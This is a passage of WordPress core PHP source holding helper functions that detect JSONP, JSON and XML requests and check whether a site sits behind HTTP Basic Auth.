return true; } if ( isset( $_SERVER['CONTENT_TYPE'] ) && wp_is_json_media_type( $_SERVER['CONTENT_TYPE'] ) ) { return true; } return false; } /** * Checks whether current request is a JSONP request, or is expecting a JSONP response. * * @since 5.2.0 * * @return bool True if JSONP request, false otherwise. */ function wp_is_jsonp_request() { if ( ! isset( $_GET['_jsonp'] ) ) { return false; } if ( ! function_exists( 'wp_check_jsonp_callback' ) ) { require_once ABSPATH . WPINC . '/functions.php'; } $jsonp_callback = $_GET['_jsonp']; if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) { return false; } /** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */ $jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true ); return $jsonp_enabled; } /** * Checks whether a string is a valid JSON Media Type. * * @since 5.6.0 * * @param string $media_type A Media Type string to check. * @return bool True if string is a valid JSON Media Type. */ function wp_is_json_media_type( $media_type ) { static $cache = array(); if ( ! isset( $cache[ $media_type ] ) ) { $cache[ $media_type ] = (bool) preg_match( '/(^|\s|,)application\/([\w!#\$&-\^\.\+]+\+)?json(\+oembed)?($|\s|;|,)/i', $media_type ); } return $cache[ $media_type ]; } /** * Checks whether current request is an XML request, or is expecting an XML response. * * @since 5.2.0 * * @return bool True if `Accepts` or `Content-Type` headers contain `text/xml` * or one of the related MIME types. False otherwise. */ function wp_is_xml_request() { $accepted = array( 'text/xml', 'application/rss+xml', 'application/atom+xml', 'application/rdf+xml', 'text/xml+oembed', 'application/xml+oembed', ); if ( isset( $_SERVER['HTTP_ACCEPT'] ) ) { foreach ( $accepted as $type ) { if ( str_contains( $_SERVER['HTTP_ACCEPT'], $type ) ) { return true; } } } if ( isset( $_SERVER['CONTENT_TYPE'] ) && in_array( $_SERVER['CONTENT_TYPE'], $accepted, true ) ) { return true; } return false; } /** * Checks if this site is protected by HTTP Basic Auth. * * At the moment, this merely checks for the present of Basic Auth credentials. Therefore, calling * this function with a context different from the current context may give inaccurate results. * In a future release, this evaluation may be made more robust. * * Currently, this is only used by Application Passwords to prevent a conflict since it also utilizes * Basic Auth. * * @since 5.6.1 * * @global string $pagenow The filename of the current screen. * * @param string $context The context to check for protection. Accepts 'login', 'admin', and 'front'. * Defaults to the current context. * @return bool Whether the site is protected by Basic Auth. */ function wp_is_site_protected_by_basic_auth( $context = '' ) { global $pagenow; if ( ! $context ) { if ( 'wp-login.php' === $pagenow ) { $context = 'login'; } elseif ( is_admin() ) { $context = 'admin'; } else { $context = 'front'; } } $is_protected = ! empty( $_SERVER['PHP_AUTH_USER'] ) || ! empty( $_SERVER['PHP_AUTH_PW'] ); /** * Filters whether a site is protected by HTTP Basic Auth. * * @since 5.6.1 * * @param bool $is_protected Whether the site is protected by Basic Auth. * @param string $context The context to check for protection. One of 'login', 'admin', or 'front'. */ return apply_filters( 'wp_is_site_protected_by_basic_auth', $is_protected, $context ); }